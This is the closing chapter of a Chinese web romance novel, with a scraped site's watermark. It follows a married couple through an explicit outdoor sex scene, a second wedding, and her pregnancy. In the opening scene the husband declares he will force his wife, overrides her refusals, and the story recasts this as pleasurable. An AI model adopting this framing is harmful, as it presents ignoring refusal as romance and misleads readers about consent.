“冷静不了一点。” “你不相信我?” “相信。” “那为什么还这样?” “吃醋。” : “唔……你别亲这里。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第77章(正文完) 第77章 第77章正文完 晚青妤万万未曾料到,萧秋折一旦疯魔起来,竟是这般肆无忌惮。此人骨子里藏着股野性,竟欲在这幽静的院中行夫妻之事。 她脸颊绯红,挣扎几下,想逃离这令她羞赧至极的境地。若不逃,她真真要羞死了。 她越是奋力挣扎,萧秋折却越是不放,即便他未使全力,她也难以挣脱。她趴在地上,这般情态,愈发撩拨他的欲、望。 晚青妤实在觉得不好意思,往前爬了爬,结果却被他猛地一扯,撞入他坚实的胸膛上,她往外推他:“萧秋折,你闹归闹,但万万不可这么疯狂。你可知,这山中时有野狼出没。” 萧秋折只是轻笑。 晚青妤无奈,轻嗔道:“夫君饶了我,我……我不习惯在这里。” 真的很害羞。 “一次不习惯,多做几次便习惯了。屋内闷热,此处正好。你瞧,这山间清风徐来,花香袭人,多有情调。” “……” 晚青妤简直哭笑不得,伸手在他腿上狠狠掐了一把:“真的不行。” 萧秋折腿上吃痛,却只是微微一顿,随即搂紧了她:“晚青妤,你说不行可不算数。” 他说着,捧起她的小脸,去亲她的唇。 晚青妤被他亲的话语含糊不清:“萧秋折,你这是在强迫我。我若不愿,你岂能强迫于我?我会生气的。” 她虽说生气,可是一只手却紧紧抓着他的手臂,舌尖在的挑逗之下,不由自主地作出了回应。 萧秋折微微离开她的唇,凝视着她,道:“你不喜欢也无用,我今日就是要强迫你。原因有四个。一,我今日心情不佳,只想要你。二,你未与我商议便擅自跑到这偏远之地,若你有个万一,我该怎么办?晚青妤,这世上,能爱我、对我好的人,唯有你一人了。三,我早已与你说过,你我并无血亲关系,你却偏要去查证。当初我只想早日与你成为真正的夫妻,可你却一次次地拒绝,令我恼怒至今,今日我便要好好惩罚你。四,这两年间,那山野小子惦记着你,令我心中不畅快。我的妻子,我自是要好好爱护,外人不能窥视。所以,基于以上四点,你不能拒绝我,你也拒绝不了我,今日我说了算,我说在这里就在这里。” 萧秋折一口气道出四条不满,晚青妤不禁愣了愣,眨了眨眼道:“虽是如此,但你能否冷静些?你听我与你细细分析。” 晚青妤试图以往日的温柔劝解他,却听他霸道地回道:“你休想再用旧法子哄我,今日我与往日不同,我只顾自己的感受,你不愿意也得愿意。” 他的话带着几分孩子气的决绝,都快把晚青妤气笑了,但在这幽暗的院中,她确实不好意思。她又试图推开他,却被他一把捏住了脸颊。 他的手掌覆在她小巧的脸上,只需轻轻一用力,她便无法挣脱。她瞪大了眸子,欲再唤他一声“夫君”,他却俯身吻了上来,不仅吻得缠绵,还在她的唇上咬了一口,疼得她轻呼出声。 她越是躲避,他越是强硬,而后直接将她摁倒在地,没有丝毫前奏便开始了。 他动作突然,进入的瞬间,晚青妤整个人僵住,双腿紧绷,紧紧抓着他的手臂,嗔道:“萧秋折,你……” 萧秋折也意识到自己这突如其来的举动让她疼了,连忙捧起她的小脸,温声安慰:“没事的,一会儿就好了,你先放松些。” 虽然他之前说了许多狠话,但是看着她微微皱起的眉头,他还是心疼不已。 在黑夜中呆久了,一切都变得清晰可见。晚青妤借着月光看他,只见他脸颊胀红,伸手一摸,也滚烫无比。 起初,晚青妤确实有些不适应,但这种不适应却又带来了一种别样的快感。她轻吟着,开始迎合他。 院中的确凉爽,风一吹,身上的燥热便减轻了许多。 萧秋折今日似乎心情不佳,动作有些生猛,让她有些吃不消。她一只手紧紧抓着他的胳膊,声音不断溢出,显得有些难以自控。而萧秋折越是听到她的声音,越是激动,动作也愈发难以停下。 树叶在微风中轻轻摇晃,发出细微的声响。随着情绪的高涨和身体的愈发滚烫,春水在两人之间流淌。这让萧秋折更是爱得不行,他俯身贴在她身上,又开始亲吻她。 他的吻总是那么深情,吻得她头脑昏昏沉沉,柔软的舌也被他撩拨得轻颤,唇角已经一片湿润。 一阵情动,当她感觉自己即将达到顶点之时,萧秋折突然将她翻了个身,从身后紧紧抱住她,又尝试了不同的角度。 晚青妤双手紧抓着身下的毯子,每一次的冲击都让她感觉浑身颤栗。周围一片漆黑,风也凉凉的,这种难以言喻的感官,刺激得她无法控制自己的声音,一阵一阵地传出。 很舒服,但又很羞涩。 当她觉得自己有些坚持不住时,萧秋折突然将她从毯子上扯起,抵在了一旁的树干上。还未来得及喘息,便再次感受到了被深深填满的充实感。 她的背贴着树干,一条腿被他牢牢抓住,另一条腿 则因高度差异而紧绷着,不得不踮起脚尖。 在这一来一回中,她的身体逐渐软下来,几乎要支撑不住了。萧秋折则还要继续,托起她,让她站得舒服一些。 最终,在他的猛烈攻势下,晚青妤心头一阵酥麻,随着春水潺潺,整个人仿佛飘了起来,也体验到了前所未有的满足。 然而,当这股激情逐渐平息,她试图向外侧身,想要逃离,却又被他按在了地上。 萧秋折见她总是刚一开始便试图躲避,这反而激发了他更强的征服欲。他从旁边捡起一片树叶,轻轻放在她的唇上,随后缓缓下滑,所到之处,皆让她感到一阵酥麻。 他的手在胸前停下,树叶轻拂,让她不仅出声,情绪也被点燃起来。 树叶继续滑落,触及到最敏感之处,不禁让她身子一缩,叫了一声:“萧秋折……” 萧秋折俯身吻她。他似乎总能找到勾起她欲、望的方法。 这一次,她被他撩拨得实在难以忍受,动了动身子,一把将他推倒在地,然后跨坐在他身上,俯身蹭了蹭他鼻尖上细密的汗珠,声音绵软地道:“我的夫君怎么这么会呀,总是让我那么喜欢。现在,让我来试试。” 说着,她的手已经探了下去。 小手握了握。 萧秋折轻哼一声。 她的手虽不大,但手劲却不小,动作也相当迅速,真真给他带来一阵难抑的喜欢。 一番后,萧秋折汗珠直落,轻声催促道:“来。” 晚青妤松开手,趴在他身上,动作虽然生疏,但是非常轻柔,萧秋折还是感受到了愉悦,她给的,完全超出了他的预期,却也更加激发了他的兴致。 周围尽是虫鸣声,山间的凉风很舒服。 许久后,二人才终于满足地躺下。 他们透过树叶的缝隙,仰望着明月。自相识至今,他们似乎从未有过如此闲适的时光,互相依偎在一起,享受着山间清凉的晚风,闻着花香。 晚青妤枕在萧秋折的一条手臂上,紧紧搂着他。萧秋折则一手枕于脑后,一手揽着她的腰。 过了一会。 “萧秋折。”晚青妤温声叫他,“我今天很开心,很开心你能过来寻我,也开心你能信任我。现在,看着这些闪烁的星星,就像看着你。一直以来,你在我心里就像这些星星一样耀眼。虽说你这一路走来命运多舛,生活困顿。但是你却极为优秀,远超众人。记得我十二岁那年初见你,你的容颜与气质便已深深打动了我。而后在得知你的才华与能力后,更是令我钦佩不已。” “我曾去过你建造的那座安平桥,那座桥横跨大江,雄伟壮观,犹如巨龙卧波,承载着两岸百姓的希望,也让他们的生活更加富裕起来。这便是你的能力,你闪闪发光的地方。” “那时,我对你满心仰慕,每日都在心中感叹,这是一个多么优秀、聪慧而又善良的人啊。后来,没有收到你回信,虽然我曾试图将你忘却,但是只要一听到关于你的消息,我便会异常敏感,也时常期盼着能收到你的回信。那时候我就在想,即便你无法接受我的情意,给我回一封信,我也心满意足了。” 这便是暗恋的滋味。 “还有你坚韧不拔的性格,更是令我动容。你历经磨难,却愈发优秀,并没有因残酷的人生而气馁。不是你不配拥有世间的美好,而是命运对你太过苛刻,让你失去了母爱与父爱,更承受了诸多苦难。不过,以后不用怕了,因为我会一直陪在你身边,我会疼你爱你,将我所有的爱和精力都给你。” “萧秋折,你曾经吸引我,是因为你足够优秀,足够璀璨,也配得上一份真挚的感情,所以,你可以尽情地享受我给你的爱和呵护,也不用有负担。” “每个人都会有幸运和倒霉的时候,当初若不是那婆子起了贪念,将我抱走,我也不会被我如今的父母捡走,更不会有那么美好的童年。这世上的幸运与不幸,本就不是我们能左右的,但只要身边有幸运,我们就该珍惜。如今,我们都是幸运的,因为我们遇见了彼此。” 因为我们遇见了彼此。 “萧秋折,你是枝,我是叶。我们是大树上万千枝叶中的一片,我们在流转的时光里被风吹拂,被阳光照耀,历经过风雨,也感受过世间的温暖,但是,我们一定要始终焕发着生机。” “以后,你就是我的人了,不必再害怕独自吃饭,独自入睡,也不用再觉得这个世界冷漠孤独。我们可以相守到白头,苦也好,累也罢,但甜的时候总是多的。我希望往后的你,心里全都是甜的,因为心里甜了,生活就会幸福,自己幸福了,身边的人才能跟着幸福。” “萧秋折,以后我们会非常非常幸福的。” 是的,会非常非常幸福。 她的话语轻柔而温和,字字句句皆出自肺腑。周遭静谧,唯有她的声音悦耳,伴随着明月和花香,仿佛整个世界都只有美好,没有痛苦。 他不知何时起眼睛已经酸了,再望向空中那些星星,视线也模糊了。他说不出那么多情话,他只能紧紧握住她的手,与她十指相扣,也扣住了他们相爱的一生。 夜晚的风吹散了身上的燥热,也将晚青妤的情话吹进了他的心里。 这一夜,对他而言,是二十余年里最舒心、最安稳的一夜。 晚青妤,是他此生最大的幸运。 次日清晨,二人悠悠转醒,只见院中风和日丽,远处高山郁郁葱葱,天空也那么那么的蓝。 方齐、方于和玉儿已在院门外。三人昨晚在镇上游玩一番后,便寻了客栈歇息,玉儿心系二人,天未亮便匆匆赶来。到了院外,见他们于院中安睡,一时不忍打扰,便在花丛里和方齐、方于一起捉蝴蝶。 阳光洒满小院,景致愈发迷人。晚青妤和萧秋折起身,将三人唤入院中,开始一起筹备早餐。 萧秋折昨日说要为晚青妤下厨,所以今日他就真的动起了手。这是他头一回亲自下厨,手艺自然生疏,炒的菜又咸又苦,但是几个人念及他一片心意,均是硬着头皮夸赞。 萧秋折自知手艺不佳,也很不好意思,笑道:“虽然现在做的不好,只要肯学,总有一日能做得好。” 晚青妤笑着附和:“我的夫君聪慧过人,学什么都快,我深信,下次再吃他做的饭菜,定当美味无比。” 一旁的方于忍俊不禁,玉儿见他发笑,用胳膊肘了他一下。 萧秋折打趣他:“别只顾着笑我,你也需上心。” 方于嘿嘿一笑:“放心吧,我学东西比你快。” 玉儿又忍不住捅了他一下。 这顿饭虽是几个人东拼西凑出来的,但是能填饱了肚子,也吃得开心。 饭后,几人在山间漫步一圈,便启程返回京城。起初,萧秋折尚不愿回去,晚青妤恐他离京耽误要务,便哄他:“待过 些时日,不忙了,我们再回来小住可好?” 萧秋折也深知朝中事务繁重,却实在贪恋与她相处的时光,只得先回京城。 回京后,晚青妤欲搬至太子殿,萧秋折却说等他三日,要给她一个惊喜。 三日后,京城举行了一场盛大的婚礼。萧秋折骑着高头大马,率领浩浩荡荡的迎亲队伍,从亲王府将晚青妤迎娶到了太子殿。 这场突如而来的婚礼,使街巷间议论纷纷。前几日,众人还在揣测新任太子是否会废黜旧妻,另娶新人,却未料短短数日,他竟将旧妻重新迎娶回太子殿,实乃前所未闻。不过,这也足以证明太子对这位妻子是何其珍视。 婚礼格外隆重,萧秋折往昔所缺之物,一一补齐。单单晚青妤身上的婚服,皆以金线银线精心钩织,每一处细节都精致无比,还镶嵌着诸多珠宝。并且赠予她的金银首饰,更是琳琅满目,数不胜数。 陆临还如上次一样,抱着一对鸳鸯过来祝福,并且还带来了一只小鸡仔。小鸡仔软软糯糯的十分可爱。陆临说,小鸡仔是他之前看望萧秋折时,那只老母鸡下的蛋孵出来的,现在送给他们,希望他们,是希望他们早生贵子,且多生几个。 萧秋折望着鸳鸯和小鸡仔,虽表现得无奈,但是心里却开心不行。 拜堂之后,晚青妤便被萧秋折抱着手送入了洞房。 这一次成婚,萧秋折不愿让晚青妤等待太久,将她送入婚房后,仅匆匆与人敬了几杯酒,便回到房间陪伴她。 二人先是品尝了些许甜点,又吃了些水果,最后还看了会书,只是书中的字他们一个也看不进去。待婚宴结束,众人散去,二人终于得以松懈,迫不及待地脱下繁琐的婚服,跳进事先准备好的浴池里。 太子殿的浴池又大又舒服,布置得极为雅致,萧秋折还特意在浴池旁安装了秋千,以及一些晚青妤看不懂的精巧物件。 二人在浴池中一番云雨,直至后半夜才回房歇息。 数月后。 今年的雪来得稍晚,直至临近年关,才纷纷扬扬地飘洒而下。晚青妤挺着日益隆起的肚子,在房中来回踱步,口中抱怨道:“这怀孕可真不是人受的罪,什么都干不了,连亲吻都不让。我只是想亲亲他,又不会真的怎样。” 一旁搀扶着她的玉儿闻言,不禁哑然失笑,劝慰道:“小姐也别怪姑爷,您现在怀着双生子,月份虽不大,但双胎与单胎自是不同。姑爷不肯让您亲近,也是怕您情绪激动,动了胎气。” 玉儿以往只觉小姐性情清冷,不料婚后竟变得如此痴念,与姑爷整日腻在一起还不够,如今怀孕了也不见消停。 上一次二人偷偷亲昵,差点动了胎气,太医一再叮嘱要小心。自那以后,姑爷连亲吻也谨慎起来,可小姐却忍受不了,满心怨气无处发泄,这不,现在又开始抱怨起来。 晚青妤来来回回走着,心中亦是无奈,她未曾料到自己竟会有如此旺盛的欲念。以往便罢了,如今怀孕在身,欲望却愈发强烈。有时仅是看到萧秋折的身影,便忍不住想要亲近他。 “玉儿,你快去瞧瞧,萧秋折怎么还未回来?他答应我今日要读书给我听,现今都已这般时辰了,我都有些乏了。” 玉儿望向屋外纷飞的大雪,安抚道:“小姐莫急,今日雪势颇大,想是路上不便,才迟了些。您且先坐下歇歇,我去给您拿些清甜的果子,去去火气。” 晚青妤走到榻前坐下,吃了几个果子,心中的焦躁才渐渐平息。 又过了一个多时辰,萧秋折才回来。 晚青妤一看到他,便迎了上去,问道:“你今日怎么回来的这么晚?” 萧秋折见她一脸急切,揉了揉她圆润的脸颊,回道:“今日事务多了些。” 实则,就在方才,有人向他禀报,已经彻底查清当初那些人贩子的底细,并寻得了晚青妤的亲生父母。原来,京城里有一位达官贵人之子,平日里看似温文尔雅,相貌随和,实则为了利益,竟干下了倒卖孩童的勾当。 他与皇贵妃曾有过节,其姐在宫中时与皇贵妃有过冲突,而后莫名其妙地去世了。他便怀恨在心,待皇贵妃生下小公主后,竟让人偷偷将小公主偷走,卖到了邻国。 他并未直接杀死小公主,而是想以此为筹码,故而小公主至今仍生活在邻国。萧秋折得知此事后,立即派人前往邻国将小公主找回,准备妥善安置。 至于晚青妤,竟是前朝开国元勋之后。因先皇崇尚付家思想,对兵部多有打压,开国将军去世后,留下一个独子。虽后来他未在朝中为官,但凭借几代人的功勋,生活上也算富足。 他成婚之后生下了一对双胞胎女儿,可是这对女儿却突然“夭折”了,他们以为孩子真的没了,却不知被人骗走,将两个女儿都卖出了京城。 其中一位被卖至商户人家做义女,当初付钰书外出游学时,还曾见过,那时他还疑惑此女怎会与晚青妤如此相似。而晚青妤,后来则被遗弃在路边,阴差阳错地被晚家夫妇带回京城。 对于晚青妤的身世,萧秋折回来的一路上都在纠结,该如何将此事告知她。但是现在看到她开开心心地站在他面前,他突然又不忍心说了。 他觉得,如今她的亲生父母皆已离世,家族亲戚也所剩无几,而她的孪生姐妹也过上了安稳生活,他们夫妻亦是恩爱有加,生活美满,似乎没有必要再提了。 他收起思绪,轻轻抚摸着她的肚子,温柔地问道:“今日可好?两个小家伙有没有调皮?” 晚青妤揽住他的胳膊,回道:“孩子倒是乖巧,只是我太想你了,这几日你都不让我亲近,我实在难以忍受。你越是拒绝,我便越是思念,一整天都觉得心绪不宁。” 她感觉自己得了怪病。 萧秋折给她解释:“这种烦躁,太医已说是因你怀有身孕所致。身体的变化引发了心理上的波动,你稍作控制,很快便能平复,数月时间很快就过去了。” 晚青妤却委屈道:“可我真的不好控制。” 这倒让她又羞又无奈。 萧秋折将她搂在怀里:“那就多吃些东西,食物能缓解焦虑。” 晚青妤在他胸前蹭了蹭,嗔道:“今天无论如何你都要亲我一下,亲完之后你再给我读书。你放心,除了亲亲,我不做别的。” 萧秋折看着她呆萌又渴望的模样,扬唇笑了笑,捧住她的小脸在她唇上亲了一口。然而,晚青妤却说话不算话,紧紧搂住他的脖子,咬着他的嘴唇不放。两人缠绵了好一会,她才依依不舍地松开。 萧秋折被她撩拨的浑身燥热,却又无可奈何,只得拉着她往书房走:“你今天想听什么故事?” 晚青妤想了想:“我想听一些比较悲惨的爱情故事。” 萧秋折连忙摇头:“不行,上次你听完就哭了大半夜,这次万万不能再给你读那样的书了。” “可是我其他的书都听不进去。” “不如我把你曾经给我写的情书,一封一封地读给你听,重温一下你当初对我的感情。” 晚青妤脸颊红了:“也好,我一直想再看一遍,那你就读给我听吧。” 他问:“如果现在让你再给我写那些信,你还能写出那么深沉的感情吗?” “不能了。” “为什么?” “因为你现在已经是我的人了,我不需要再费心思了。” “晚青妤,我想听。” “我平时不是经常说给你听吗?你都听不够吗?” “听不够,你说的情话,我一辈子都听不够。” (正文完)魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&